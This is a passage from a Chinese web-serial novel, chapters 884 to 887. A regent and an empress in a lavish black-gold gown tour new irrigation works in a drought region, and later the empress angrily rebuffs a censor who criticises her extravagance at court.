极致玄黑的底色仿佛吸纳了天地间所有的光辉,呈现出一种比最深的墨玉更温润、比最沉静的夜空更神秘的质感,内蕴的幽蓝暗紫微光如活物般流转不息,神秘而高贵。? 袍服之上那只擎天巨凤的羽翼金线刺绣,在阳光下彻底绽放出夺目的生命光彩,赤金如旭日熔金,玫金如云锦璀璨,银白如月华泻地,紫金如祥瑞环绕,凤眸上的宝石折射出洞穿人心的璀璨光芒,华美尊贵,气势磅礴,仿佛已然振翅高飞,呼风唤雨功成,正俯瞰着她所恩泽的苍茫大地!? 宽大喇叭袖袖口的黑珍珠与乌金流苏在春风中轻轻摇曳碰撞,发出清脆悦耳、宛如天籁的金石之音。而那长达三丈、缀满珍宝的拖尾,更是毫无保留地、沉重地直接拖曳在高台下新铺的、略显湿润的红土之上!?? 华贵到极致的拖尾如同一条自九天垂落、满载着恩泽与祥瑞的墨金色天河,其上无数宝石疯狂地折射着阳光,形成一片令人无法直视的、流动的璀璨光河,与台下那波光粼粼的蓄水塘、远方嫩绿的田野交相辉映,仿佛将无尽的奢华与生命的希望完美地融合在了一起! 她的存在,她的这身睡裙,已然超越了衣饰的范畴,化为了救赎、希望与无上皇权的终极象征! 容颜绝世,神情在平静中透着一丝不易察觉的柔和与庄严,?睡裙加身,她便是这片重生之地的神祇与灵魂! 林臻紧紧握着她的手,扶她一步步登上高台。那沉重拖尾随之拖曳于铺着红毡的台阶之上,华光流转,碾压过每一级台阶,仿佛将皇家的恩宠与威严,实实在在地“铺”到了每一个人的心尖之上。 高台之上,视野极佳,碧水、绿野、欢腾的万民,尽收眼底。 “平身。”林臻的声音通过扩音铜管,温和却充满力量地传遍四方。 “谢陛下!谢王爷!”万民起身,脸上洋溢着幸福的笑容。 林臻并未立即下令开闸,而是携慕容嫣走到台前,俯瞰着这片他们亲手拯救的土地。春风拂过,带来秧苗的清香与水汽的湿润。 慕容嫣墨金睡裙的宽大喇叭袖与沉重拖尾在风中微微拂动,华光流转。 “嫣儿,你看,”林臻指着远方那一片嫩绿,声音带着感慨与自豪,“这是我们共同赐予这片土地的生机。” 慕容嫣微微颔首,目光悠远地扫过田野,?睡裙上的巨凤图案在阳光下熠熠生辉,仿佛与她一同欣赏着这杰作。 她喇叭袖下的手,轻轻反握了一下林臻的手。 此时,数名乡老代表在官员引导下,颤巍巍地登上高台,手中捧着粗陶碗,碗中盛满了刚从蓄水塘中打上来的、清澈甘甜的井水,碗中还漂浮着几片象征新绿的嫩叶。 “陛下,王爷…”为首乡老激动得声音哽咽,“涿北万民…感念天恩!敬献此水,愿陛下、王爷福泽万年!” 林臻看向慕容嫣,眼中带着笑意与询问。 慕容嫣微微颔首。 林臻便亲自接过那碗水,并未自己先饮,而是先递到了慕容嫣唇边。 慕容嫣就着他的手,?宽大喇叭袖微微遮掩,垂眸小啜了一口碗中清水。清水甘冽,带着春日的微凉与生命的气息。 她抬起头,眼中闪过一丝极淡的、却真实存在的满足光彩,对着林臻轻轻点了点头。 林臻笑容更深,就着她喝过的地方,将碗中水一饮而尽,朗声道:“此水,甘甜无比!乃我大乾盛世之水,万民同心之水!” “万岁!万岁!万岁!”台下再次欢声雷动。 乡老们激动退下。 吉时已到!林臻与慕容嫣携手走到闸口令旗旁。 “开闸——溉田——”林臻运足中气,高声宣布,声音传遍四野! “开闸溉田!”令官高声传令! 闸口处等候的工匠闻令,奋力推动绞盘! 沉重的闸门再次缓缓提升! 比以往任何一次都更加汹涌、更加清澈的水流,如同被压抑已久的巨龙,轰然冲出闸口,沿着主干渠,奔腾咆哮,冲向远方饥渴的农田! “水来了!” “灌溉了!” “苍天有眼!陛下圣明啊!” 百姓们沿着水渠奔跑着,欢呼着,看着清澈的渠水哗啦啦地涌入一道道田埂缺口,迅速漫过干涸的田畦,滋润着嫩绿的禾苗。 许多人跪在田边,捧着泥水,喜极而泣。孩子们在田埂上追逐着水流,发出银铃般的笑声。 慕容嫣与林臻立于高台之上,俯瞰着这万民欢腾、甘霖润泽的景象。慕容嫣墨金睡裙在阳光下如同神迹,?巨凤傲然,?拖尾迤逦。 她的嘴角,缓缓扬起了一抹清晰可见的、极浅却极美的笑意,如同春冰乍破,暖阳初融。 林臻侧头看到她这罕见的笑容,不禁心神摇曳,忍不住伸出手,紧紧揽住她的腰肢,在她耳边低语:“嫣儿,你笑了。” 慕容嫣微微一愣,抬手轻触自己唇角,似乎才意识到自己的情绪,随即嗔怪地睨了他一眼,?喇叭袖拂过他的手臂,但那笑意却未完全敛去。 水流奔腾,欢声震天。 林臻心情激荡,忽生奇想,对慕容嫣柔声道:“嫣儿,可愿与为夫一同,下田亲验水情,与民同乐?” 慕容嫣看着他眼中闪烁的光芒,又看了看台下欢腾的百姓与碧绿的田野,微微点了点头。 林臻大喜,立刻扶着她,一步步走下高台。 那沉重无比的睡裙拖尾再次毫无阻碍地拖曳于后,?直接接触那被水流浸湿、略显泥泞的田埂红土?! 华贵到极致的拖尾边缘浸入了泥水之中,宝石与金线沾染了湿润的泥土,却依旧在阳光下固执地折射着耀眼的光芒,仿佛一条将皇恩与祥瑞直接注入大地的神圣河流! 所过之处,百姓们不仅没有觉得亵渎,反而更加狂热地跪拜,认为这是女帝陛下将福泽直接“种”入了土地之中! 林臻挽起自己的袍袖,慕容嫣则任由喇叭袖垂落。 他扶着她,小心翼翼地踩在田埂上,俯身查看水流灌溉的情况。他甚至亲手捧起一抔湿泥,感受着那滋润的湿度,脸上露出满意的笑容。 第884章 游山泉之水 慕容嫣静静跟在他身边,?睡裙迤地,华美无比。 她喇叭袖下的手轻轻抬起,指向一处水流略显不足的田角。 林臻立刻察觉,对跟随的官员道:“此处渠口稍窄,即刻拓宽!” “是!” 她又指向几株被水流冲得有些歪斜的秧苗。林臻便亲自俯身,小心翼翼地将秧苗扶正,培好土。慕容嫣在一旁静静看着,?墨金睡裙的巨凤仿佛在守护着这片新绿。 他们的举动,再次引来了万民更加热烈的欢呼与感激!摄政王与女帝陛下,竟如此亲民! 巡视完一片农田,林臻兴致不减,竟携着慕容嫣,登上了渠边一架正在工作的翻车(龙骨水车)的踏板平台。 他扶着慕容嫣站稳,然后竟与她一同,?踩着睡裙拖尾,象征性地踩动了踏板几下,引来水流哗哗作响。 慕容嫣宽大喇叭袖随风轻扬,?墨金睡裙在阳光下璀璨生辉,与古朴的水车形成奇异而和谐的画面。百姓们何曾见过如此景象,欢呼声一浪高过一浪。 之后,他们又来到一片已然灌溉完毕、水光粼粼的稻田旁。林臻命人取来早已备好的、精致的小鱼苗桶。 “放入渠中,可食蚊虫,肥田活水。”他对慕容嫣解释道。 慕容嫣点点头,?喇叭袖下的手,与林臻一同捧起一捧小鱼苗,缓缓放入渠水中。鱼儿入水,迅速游弋开来,消失在碧水中,寓意着生机与富足。 做完这一切,日已近午。 林臻恐慕容嫣劳累,虽知她睡裙特殊料子并不闷热,但仍心疼她站立已久,便扶着她回到高台阴凉处休息。 官员奉上当地新产的、用井水浸泡过的瓜果,虽非珍馐,却格外清甜。 慕容嫣小口吃着林臻递来的瓜片,目光依旧流连于那片被水滋润的土地。 午时,盛大的犒劳宴在田野间举行。 林臻下令,宰杀牛羊,蒸煮新米,与万民共食。慕容嫣虽未与民同席,但在高台之上,?睡裙迤地,接受了万民的跪敬,并与林臻共饮了一杯象征丰收的米酒,脸颊微红,更添艳色。 宴后,林臻宣布了进一步的惠农政令:减免涿北三年赋税,发放新种耕牛,奖励垦荒… 每一项宣布,都引来震天的欢呼与感恩。 夕阳西下,晚霞满天,将碧水、绿野、欢腾的人群都染成了金红色。灌溉已近尾声,田畴之中,水光潋滟,禾苗青翠,一派生机盎然。 慕容嫣与林臻最后立于高台之上,俯瞰着这片他们亲手拯救的土地。慕容嫣墨金睡裙在晚霞中仿佛燃烧起来,?巨凤翱翔,?拖尾铺展,如同将最后的辉煌与恩泽洒向大地。 “夫君,很好。”她轻声说道,这是她对此行最直接的肯定。 林臻心中暖融,紧紧握住她的手:“嗯,很好。这都是嫣儿的福泽。” 回銮之时,万民跪送,哭声与欢呼声交织,那是发自内心的感激与爱戴。 御辇行在夕阳下的官道上,窗外是绿色的田野与潺潺的流水。 辇内,慕容嫣微微靠在林臻肩头,似乎有些倦了。 林臻揽着她,低声道:“累了便睡会儿。” 慕容嫣摇摇头,?喇叭袖下的手轻轻抓着他的衣襟,喃喃道:“不重…喜欢…” 林臻知她说的是这身睡裙,低笑出声,爱怜地吻了吻她的发顶:“好,喜欢便一直穿着。” 回到临时行宫,宫人伺候沐浴。林臻亲自检查那身睡裙,?拖尾与袖口已沾满了泥点与水渍,甚至还有几根草叶,但他眼中只有骄傲与疼惜。 他亲自用香露为她清洗打理,动作轻柔如对待稀世珍宝。 “待回京,让绣坊用新进的金线,再为嫣儿绣一件更美的。”他承诺道。 慕容嫣浸在浴汤中,摇摇头:“这件…很好。” 她似乎对这件陪伴她经历这一切的睡裙,产生了特殊的感情。 是夜,涿北百姓几乎家家户户都为女帝陛下与摄政王殿下立了长生牌位。那身墨金色的睡裙与迤地拖尾的华美身影,已深深烙印在他们的灵魂深处,成为救世主的永恒象征。 ?华服染尘终不悔,墨凤亲临甘霖降。渠成水到千畴绿,龙吟凤哕盛世长。? ...... 涿北之地,经半月余全力施为,已然天翻地覆。 干涸的河床有了浅流,龟裂的田畴铺上新绿,纵横的渠网中碧波潺潺,巨大的蓄水塘更是烟波浩渺,映照着蓝天白云。 空气中弥漫的不再是绝望的焦土气息,而是湿润的水汽、泥土的芬芳与草木生长的清新活力。 灾情虽未彻底解除,但生机已蓬勃复苏,百姓脸上重现笑容,心中充满了对未来的希望。 这一日,风和日丽,春光明媚。 摄政王林臻与女帝慕容嫣决定亲自巡视已成规模的水利网络,验收工程成果,并为长远的水利建设定下经纬。 御驾并未直接前往已通水的区域,而是先抵达了位于涿北水利网络最北端、地势最高、也是最后一批开工的“龙脊渠”段。 此段渠道需穿越一片丘陵地带,工程最为艰巨,昨日方才全线贯通,即将与主渠网连接通水。 仪仗抵达之时,工匠与民夫们正在做最后的加固与清理工作。见到御驾,众人慌忙跪迎。 林臻率先步下御辇。他今日一身玄青色缂丝常服,金冠玉带,更显英挺沉稳。他目光扫过依山势开凿、初见雏形的“龙脊渠”,点了点头。 随即,他转身,向辇内伸出手,动作一如既往的珍重。 当慕容嫣扶着林臻的手,缓步走下御辇时,尽管在场的工匠民夫已非第一次目睹天颜,但每一次见到,依旧被那极致华贵与威严的景象震撼得屏息凝神,随即爆发出狂热的欢呼! “陛下万岁!万岁!万万岁!” 慕容嫣身着的,依旧是那身华丽厚重、与她形影不离、已成为她标志与力量象征的黑金色百鸟朝凤睡裙。在明媚的春日山光水色映衬下,这身睡裙的华美与威仪更显惊心动魄! ?极致玄黑的底色仿佛能吸纳周遭所有的生机与光芒,呈现出一种比最深的潭水更沉静、比最润的墨玉更温软的质感,内蕴的幽蓝暗紫微光流转不息,神秘高贵,与山峦的青翠形成强烈对比。? 袍服之上那只擎天巨凤的羽翼金线刺绣,在阳光下焕发出前所未有的鲜活生命力,赤金灼灼如熔岩流淌于青山之间,玫金娇艳如云霞缭绕于碧空之上,银白皎洁如瀑布倾泻于绿野之中,紫金贵气如王气笼罩于山河之上,凤眸宝石折射出洞悉一切、掌控一切的璀璨光芒,华美尊贵,气势磅礴!? 宽大喇叭袖袖口的黑珍珠与乌金流苏在春风中轻轻摇曳碰撞,发出清越悠扬的金石之音。而那长达三丈、缀满珍宝的拖尾,更是毫无保留地、沉重地直接拖曳在渠畔新翻的、略带潮湿的红色山土之上!?? 华贵到极致的拖尾如同一条自九天垂落、专门用来丈量与装饰山河的墨金色神之缎带,其上无数宝石疯狂地折射着阳光,形成一片流动的、令人无法直视的璀璨光河,与周遭粗糙的岩石、新砌的渠岸、青翠的山色剧烈碰撞,却又奇异地融合,仿佛她的到来,便是对这艰难工程最终的加冕与祝福! 她的容颜在山水映衬下愈发绝世,神情平静中带着一丝审视的庄严,?睡裙加身,她便是这山河的主人,恩泽的源头! 林臻紧紧握着她的手,扶她站稳,对跪伏的众人道:“平身。工程可还顺利?” 工部官员激动回禀:“托陛下、王爷洪福,‘龙脊渠’已于昨日深夜全线贯通!只待吉时,便可开闸,引上游山泉之水,汇入主渠网!” “好!”林臻朗声赞道,“带路,朕与陛下要亲自查验。” “臣遵旨!” 林臻便携慕容嫣,沿着新开的渠岸缓步前行。 那沉重拖尾毫无阻碍地拖曳于后,在红土与碎石混杂的渠岸上划出一道深重而华贵的痕迹,宝石刮擦着地面,发出细密的声响,沾染了泥土与草屑,却依旧华光不减,所过之处,工匠皆深深低头,却又忍不住用眼角余光膜拜那移动的、令人心潮澎湃的华彩。 渠岸并不平坦,时有陡坡碎石。 林臻小心搀扶,慕容嫣却步伐平稳,?睡裙虽沉重,却丝毫未影响她的仪态,反而更衬得她身姿挺拔,仿佛那华服予她力量。 来到渠首闸口处,只见一道清冽的山泉正被临时坝体阻拦,蓄势待发。泉水清澈见底,在阳光下闪烁如金。 慕容嫣静静立于闸口旁,?墨金睡裙的玄黑与泉水的清澈形成鲜明对比,?巨凤图案倒映水中,仿佛在碧波中游动。 她喇叭袖下的手轻轻抬起,指向水中几块棱角尖锐的巨石。 林臻立刻领会,对工匠道:“闸下之水冲击力甚大,此等锐石需清除打磨,以免日后冲毁渠岸或伤人。” “是!王爷明察!臣等即刻处理!”工匠首领惊出一身冷汗,连忙应下。 慕容嫣微微颔首。 吉时已到。林臻与慕容嫣携手站定。 “开闸——”林臻下令。 闸门缓缓提升,蓄势已久的山泉如同脱缰野马,欢腾着、咆哮着冲入新渠!清冽的泉水沿着渠道奔流而下,激起雪白的浪花,发出哗啦啦的悦耳声响! “水通了!” “龙脊渠成了!” 第885章 巨凤仿佛浴火重生 工匠民夫们沿着渠岸奔跑欢呼,激动不已。 林臻与慕容嫣沿着渠岸缓行,看着水流奔腾,检查着渠岸的牢固程度。 那沉重拖尾随之拖曳于湿滑的渠岸,华光与水流交相辉映。 来到一处依山开凿的险峻段,渠岸外侧便是陡坡。 慕容嫣睡裙拖尾边缘垂落陡坡,扫过灌木草丛。 她忽然停下脚步,?喇叭袖下的手指向渠岸内侧一处岩壁,那里有细微的水线渗出。 “此处岩壁有渗水,需加固防漏,并设导流槽,免浸山体。”林臻立刻判断并下令。 格物院技师上前查看,叹服道:“陛下慧眼!此处岩隙极细,几不可察,若非陛下指出,日久恐成隐患!臣等即刻处理!” 慕容嫣目光平静,继续前行。 巡视完“龙脊渠”,确认水流平稳,渠岸牢固,林臻便携慕容嫣登上一辆特制的、可沿渠岸行驶的敞篷御辇,前往主渠网交汇处。 御辇缓缓行驶,?那长达三丈的睡裙拖尾,?自然地垂落辇后,迤逦拖曳于渠岸黄土之上,华光流转,如同一面移动的、奢华无比的旗帜,宣告着皇权的恩泽已深入山河肌理。 沿途百姓见到御驾,尤其是那身华美绝伦的睡裙与迤地拖尾,纷纷跪拜欢呼,许多孩童追逐着御辇奔跑,脸上洋溢着纯真的笑容。 抵达主渠网交汇的枢纽水闸处,场面更为壮观。 数条渠道在此交汇,水流奔腾,水声轰隆,一座巨大的石闸控制着水流分配。工部官员与格物院技师正紧张地监测着水位与流量。 见到帝后驾临,官员们慌忙迎驾。 林臻仔细询问着各条渠道的水量、水质以及灌溉区域分配情况。 慕容嫣静立一旁,?墨金睡裙在水汽氤氲中更显神秘华贵,?拖尾铺展在闸口平台微湿的地面上。 她目光扫过复杂的水闸结构,?喇叭袖下的手偶尔抬起,指向某处刻度或阀门。 她虽未言语,但每一次指向,林臻都能瞬间领会其关切之处,或是水位平衡,或是闸门开启度,或是泥沙淤积情况,并立刻给出精准的指令或询问细节,令官员们叹服不已,应对不暇。 “陛下心如明镜,臣等万万不及!”工部尚书由衷赞叹。 巡视完枢纽水闸,林臻又携慕容嫣登上一艘准备好的、装饰华美的画舫,欲沿主渠下行,实地查看灌溉情况。 登船之时,林臻小心搀扶。慕容嫣睡裙那沉重拖尾随之拖曳过跳板,掠过甲板,最终铺陈在画舫洁净的柚木地板之上,墨金色与木质暖色形成对比,华光流淌。 画舫缓缓沿渠而行。两岸绿意盎然,禾苗青翠,许多农民正在渠边引水灌溉,见到御船,尤其是船上那抹华贵无比的身影,纷纷跪地叩拜,高呼万岁。 慕容嫣立于船头,?墨金睡裙的宽大喇叭袖与沉重拖尾在春风与水汽中微微拂动。 她目光沉静地扫过两岸正在复苏的土地,看着清澈的渠水汩汩流入田间,看着农人们脸上满足的笑容,?睡裙上巨凤的羽翼仿佛也随之舒展。 画舫行至一处地势平坦、灌溉充分的区域,但见禾苗长势明显优于他处,绿油油一片,长势喜人。 林臻笑道:“此处颇佳,可作良种培育之田。” 慕容嫣微微颔首,?喇叭袖下的手轻轻一指岸边一片长势尤其旺盛的秧苗。 林臻会意,令画舫靠岸。他携慕容嫣走下船,?睡裙拖尾再次拖曳于湿润的田埂之上。 他亲自下到田边,小心翼翼地拔起一株壮硕的秧苗,仔细观察其根系,赞道:“此株甚佳!记下此地,留作种田。” 农技官员连忙记录。 慕容嫣静静看着,?宽大喇叭袖垂落身侧。 随后,画舫又行至下游一处地势较低、以往易涝的区域。 如今渠网畅通,排水亦得到改善。 林臻仔细查看了新建的排水闸口,又询问了汛期预案,再次做出指示。 全程,慕容嫣虽言语不多,但她的存在本身,她那身极致华服所代表的无上权威与关注,以及她偶尔精准的、切中要害的无声指点,都让随行官员与沿途百姓感受到巨大的压力与动力。 午时,画舫停靠在一处临时码头。 林臻命人在此设下简便帷帐,与慕容嫣于此地用膳。膳食用的是当地新收的蔬菜与刚刚捕捞的渠中鲜鱼,虽简单,却别有一番风味。 慕容嫣睡裙迤地,坐于铺着白虎皮的胡床上,小口吃着林臻亲手剔去鱼刺的鱼肉,姿态优雅无双。?华服与乡野膳食形成奇特而和谐的画卷。 用膳完毕,林臻摊开水利舆图,与工部、格物院官员商讨长远规划——如何将此次应急修建的渠网与原有的水利系统连接,如何修建更坚固的水闸、塘坝,如何防范旱涝… 慕容嫣坐于一旁,静静听着,目光偶尔掠过地图上的山川河流,?喇叭袖下的手无意识地轻抚着睡裙上冰凉的金线刺绣。 当官员们对某处水库选址争论不休时,她纤纤玉指轻轻点在了地图上一处看似不起眼的山谷。 众人目光聚焦。林臻仔细观察那处地形,又对照地质图册,眼中精光一闪:“此地…妙啊!地势佳,岩层稳,汇水面大!嫣儿真乃天赐慧眼!” 官员们仔细研究后,也纷纷拜服:“陛下圣裁!臣等愚钝!” 慕容嫣微微垂下眼帘,?宽大喇叭袖掩住半张脸。 最终,一套涵盖引、蓄、灌、排、防的长远水利纲要在帝后共同参与下定稿。林臻当即下令,拨付库银,调集能工巧匠,择日开工。 日落时分,御驾启程返回行宫。夕阳将天空与水面染成金红色,渠网如银带铺展在渐绿的田野上。 慕容嫣与林臻立于车辇之上,回顾一日行程。慕容嫣墨金睡裙在夕阳下流光溢彩,?巨凤仿佛浴火重生,?拖尾迤逦于车辇之后,华美无比。 “今日辛苦嫣儿了。”林臻揽着她的肩,低声道。 慕容嫣摇摇头,靠在他肩上,轻声道:“不累。水…好。” 林臻心中暖融,知道她指的是这滋润了土地、带来了生机的水。他低头吻了吻她的发顶:“嗯,好。这都是嫣儿的功劳。” 回到行宫,宫人伺候沐浴。林臻亲自检查那身睡裙,?拖尾与袖口不仅沾染了泥土草屑,还浸染了水汽。他依旧耐心地、珍重地亲手为她清理。 “待回京,朕要令史官将今日之事,将嫣儿指点江山、奠定水利经纬之功,详加记载,流传后世!”林臻语气中充满了骄傲。 慕容嫣浸在浴汤中,闻言微微摇头,?喇叭袖在水面拂过:“不必…” “要的,”林臻坚持,眼神温柔却坚定,“我的嫣儿,值得所有赞誉。” 是夜,涿北之地,万家灯火,许多百姓仍在谈论日间见到女帝陛下华服巡渠的盛景,对未来的生活充满了美好的憧憬。 那身墨金色的睡裙与迤地拖尾,已深深融入这片土地重生的记忆之中。 ?华服巡渠定经纬,墨凤点睛山河新。龙吟水脉千秋业,凤仪永泽万代民。? 第886章 还算好看的尘土罢了 涿北旱情缓解,水利初成,万民归心。摄政王林臻携女帝慕容嫣班师回朝。京畿百姓夹道欢迎,山呼海啸,皆感念帝后恩德。 然而,金殿之上,却并非一片祥和。 大朝会。九凤金殿,百官肃立。 凤椅之上,慕容嫣并未端坐,而是慵懒地倚靠在宽大的凤椅之中,身上所穿,并非繁复朝服,赫然仍是那身极致华丽、与她形影不离的黑金色百鸟朝凤睡裙。 ?殿内烛火通明,映照得睡裙的玄黑底色愈发深邃如子夜,吸吮着光芒,却又自内里折射出幽蓝与暗紫的帝王微光,神秘而高贵,与金殿的辉煌形成了令人窒息的对比。 ?睡裙之上,那只以无数珍稀金银彩线绣就的擎天巨凤展翅欲飞,赤金灼灼如熔炉之火,玫金娇艳如泣血之霞,银白皎洁如九天寒月,紫金贵气如至尊祥瑞,凤眸宝石折射出冰冷锐利的光芒,仿佛随时会活过来,择人而噬!? 宽大无比的喇叭袖铺陈在凤椅扶手之上,袖口边缘的黑珍珠与乌金流苏纹丝不动,泛着冷冽光泽。 而那长达三丈、与睡裙连为一体、毫无接缝的巨型黑金镶宝拖尾,并未拘束,而是自然地、逶迤地直接拖曳在凤椅之下、铺满了九级玉阶、甚至延伸到了金殿光洁如镜的金砖地面之上!?? 华贵到极致的拖尾如同一条在金殿上流淌的墨金色星河,其上密集镶嵌的黑钻、墨玉、深蓝宝、黑欧泊、乌金…在烛火下疯狂地折射着冰冷、璀璨、令人无法直视的耀眼光芒,其奢华程度,几乎压过了整个金殿的辉煌! 她容颜绝世,神情却带着一丝慵懒的漠然,长睫低垂,仿佛对朝政毫无兴趣,只沉浸在自己华服的世界里。林臻立于丹陛之下,百官之首,面色沉静,并未言语。 朝会按部就班进行,各部禀报事宜,林臻或直接决断,或偶尔侧首,似在聆听凤椅上那位的无声旨意,一切似乎与往常无异。 然而,就在朝会即将结束时,一名御史大夫,年过花甲,素以耿直敢谏闻名的老臣,忽然手持玉笏,大步出列,跪倒在丹陛之下,声音洪亮却带着颤抖: “陛下!臣有本奏!” 凤椅上的慕容嫣眼皮都未抬一下,?喇叭袖下的手指无意识地轻抚着袖口冰凉的珍珠。 林臻微微蹙眉,沉声道:“讲。” 老御史深吸一口气,仿佛用尽了毕生勇气,猛地抬头,目光灼灼地指向凤椅之上那抹墨金色的华影,声音悲愤: “臣冒死谏言!陛下身为一国之君,当垂范天下,俭以养德!然则,陛下竟于朝会之上,公然身着…身着如此…如此奢靡无度之睡裙?!此裙耗资巨万,穷极工巧,一裙之费,恐抵万民之食!其上珠宝,足以赈济数州饥荒!更遑论这长达三丈之拖尾,迤逦于殿,行动不便,空耗人力,奢华无状,绝非明君所为!” 他声音激昂,回荡在金殿之中:“如今北地旱情虽缓,然民生凋敝,元气未复!陛下岂可于此之时,依旧沉溺奢华,身着此等…此等亡国之服!臣恳请陛下,即刻换下此睡裙,永不再穿!并以俭朴为念,心系黎民!否则,恐寒天下百姓之心,损我大乾国运啊!陛下!” 一番话,掷地有声,殿内瞬间死寂!所有大臣都吓傻了,冷汗涔涔而下,无人敢抬头! 谁都知道这位女帝陛下虽不理政,但极爱此裙,且摄政王林臻对其宠溺无边,这老御史简直是找死! 林臻面色一沉,眼中寒光骤现,正要开口呵斥—— “呵。” 一声极轻、却带着无尽冰冷与嘲讽的轻笑,自凤椅之上传来。 所有人浑身一颤,不由自主地抬头望去。 只见慕容嫣缓缓坐直了身子,一直低垂的眼睫慢慢掀起,露出一双冰冷彻骨、毫无情绪,却仿佛蕴含着无尽风暴的凤眸! 她脸上那慵懒漠然的神情消失了,取而代之的是一种极致的、令人头皮发麻的平静,红唇边却噙着一丝诡异而危险的弧度。 她宽大喇叭袖下的手,轻轻抬起,并未指向那御史,而是极慢、极轻柔地拂过自己睡裙上那只巨凤的赤金羽翼,动作带着一种令人毛骨悚然的珍爱。 整个金殿落针可闻,连呼吸声都几乎消失了。林臻眉头紧锁,嘴唇微动,却最终并未出声,只是目光深沉地看着她。 慕容嫣的目光终于落在了那跪着的、脸色已开始发白的老御史身上,声音清冷如玉珠落盘,却带着刺骨的寒意: “你说朕的衣裳…是亡国之服?” 老御史被她那眼神看得浑身发冷,但仗着一身硬骨头,梗着脖子道:“是!陛下!如此奢靡,非明君…” “奢靡?”慕容嫣打断他,声音微微提高,那丝诡异的笑意加深了,“你说这些?”她喇叭袖一拂,指向拖尾上那些璀璨的宝石,“这些石头?这些金线?” 她忽然轻笑出声,笑声清脆,却让殿内温度骤降:“在朕眼里,它们不过是些…还算好看的尘土罢了。” 她缓缓站起身,?长达三丈的拖尾随之沉重地拖曳过玉阶,发出窸窣的摩擦声,华光流转,步步生辉。她一步步走下凤椅,走向那御史,?拖尾在身后迤逦铺开,占据了大片金殿地面。 所有大臣吓得连连后退,冷汗湿透朝服。 林臻站在原地,目光紧紧跟随她,袖中双拳微握。 慕容嫣走到那老御史面前,居高临下地看着他,?睡裙的玄黑与巨凤的华彩几乎要灼伤人的眼睛。她微微俯身,?宽大喇叭袖几乎要扫到老御史的脸上,声音轻柔得可怕: “你可知,北地旱魃肆虐,万民绝望之时,是谁身着此裙,亲临焦土?” “你可知,渠网规划,井位定标,是谁身着此裙,指尖所向,甘泉涌出?” “你可知,民心惶惶,谣言四起之时,是谁身着此裙,迤逦于地,以一身华光,镇万民之心,定乾坤之序?” 她的声音越来越冷,越来越锐利:“是朕!” 第887章 如此奢靡,岂是明君所为 她猛地直起身,?喇叭袖一甩,带起一阵冷风,目光如冰刀般扫过全场噤若寒蝉的百官: “你们这群废物!平日里满口仁义道德,国之栋梁!旱灾之初,你们在何处?除了跪在这里哭诉灾情,弹劾这个,攻讦那个,你们还会做什么?!” 她的声音陡然变得尖锐:“是林臻!是朕!穿着你们口中的‘亡国之服’!去了那片你们不敢去的焦土!踩了你们嫌脏的泥泞!看了你们不忍看的惨状!想了你们想不出的法子!救了你们救不了的百姓!” 她猛地转身,?拖尾华丽地扫过一个圆弧,指向殿外:“如今,灾情初定,万民稍安,你们便迫不及待地跳出来,指着朕的衣裳,说奢靡?说亡国?” 她发出一声极其刺骨的冷笑:“朕看,真正奢靡的,是你们这群蛀空国库、中饱私囊、只会摇唇鼓舌的废物!真正会亡国的,是你们这双只看得见女人衣裳、却看不见百姓死活的狗眼!” 那老御史已被骂得浑身发抖,面无人色,张着嘴却发不出一点声音。 慕容嫣再次俯身,盯着他,眼神疯狂而偏执,声音却压得极低,如同毒蛇吐信:“你说…这衣裳…费钱?耗资巨万?” 她忽然伸出手,?戴着丝绒手套的纤指猛地抓住睡裙前襟一颗足有鸽卵大小、价值连城的黑欧泊,用力一扯! 竟生生将那颗镶嵌完美的宝石扯了下来! 连带着几根金丝断裂! “还给你!”她随手将那颗璀璨的宝石扔到老御史面前,宝石在金砖上弹跳,发出清脆的响声。 不等众人反应,她又接连扯下拖尾上几颗巨大的墨玉和黑钻,如同丢弃垃圾一般,一颗接一颗地砸到老御史身上、面前! “都还给你!够不够赈灾?嗯?够不够?!”她的声音陡然拔高,带着一种歇斯底里的疯狂与暴戾, “不够朕再扯!把这身衣裳都拆了!珠子赏给你们!金线赐给你们!拿去!都拿去赈灾啊!” 她一边说,一边真的伸手去撕扯睡裙上繁复的刺绣,动作激烈,眼神骇人!? 华美的睡裙瞬间被扯得凌乱,几处破损,露出内衬的玄色云锦。 “陛下!不可!”林臻终于忍不住出声,一步上前,却被慕容嫣一个冰冷疯狂的眼神定在原地! 百官早已吓瘫在地,磕头如捣蒜,连呼“陛下息怒!” 那老御史更是吓得魂飞魄散,瘫软在地,看着身上滚落的、价值连城的宝石,如同看着催命符。 慕容嫣停下动作,微微喘息,胸口起伏,?华贵的睡裙略显凌乱,几缕发丝垂落颊边,却更添一种妖异的美感与疯狂的威慑。 她看着瘫倒的老御史,眼神冰冷如霜,声音恢复了那种令人恐惧的平静: “现在,告诉朕,这衣裳,还奢靡吗?还亡国吗?” 老御史哪里还说得出话,只会哆嗦着磕头。 慕容嫣直起身,整理了一下自己破损的睡裙,动作带着一种病态的怜惜与偏执。她目光扫过全场,声音不高,却如同冰锥刺入每个人的心脏: “朕就爱穿这身衣裳。它重,沉,拖着走麻烦,但它暖和,它漂亮,它穿着,朕高兴。” 她缓缓走回凤椅,?破损的拖尾依旧拖曳于地,华光虽略黯淡,威仪却更盛。 “谁再敢说它一句不好,”她坐回凤椅,慵懒地靠回去,仿佛刚才的暴怒从未发生,但声音里的寒意却让所有人如坠冰窟, “朕就剥了他的皮,抽了他的筋,用他的骨头,给朕的衣裳镶边。” 她轻轻抚摸着睡裙上被扯坏的地方,眼神晦暗不明:“退朝。” 两个字,轻飘飘的,却如同赦令。 百官如蒙大赦,连滚爬爬地退出金殿,无人敢再看那凤椅上的墨金色身影一眼,无人敢再看那拖曳于地的、沾染了宝石碎屑的华贵拖尾。 林臻站在原地,看着凤椅上似乎又恢复慵懒的慕容嫣,眼神复杂,最终化为一声几不可闻的叹息,缓缓走上前。 金殿之内,只剩帝后二人。 慕容嫣抬起眼,看着林臻,眼神中的疯狂与冰冷迅速褪去,染上一丝极淡的委屈与依赖,?喇叭袖下的手伸向他,声音软了下来:“夫君…衣服坏了…” 林臻心中一痛,快步上前,单膝跪在她面前,小心翼翼地检查着睡裙的破损处,柔声道:“无妨,无妨…回宫便让绣坊最好的绣娘修补,定能恢复如初…不,绣得更好…” 慕容嫣靠进他怀里,?宽大喇叭袖环住他的脖颈,小声嘟囔:“他们讨厌…说我的衣服…” “他们该死。”林臻的声音冷了下去,眼中杀机一闪而逝,但面对她时,依旧温柔,“我的嫣儿想穿什么便穿什么,无人可置喙。” 他打横将她抱起,那破损却依旧华美沉重的拖尾垂落而下。他抱着她,一步步走出金殿,走向后宫。 宫人们跪了一路,头深埋,无人敢抬头。 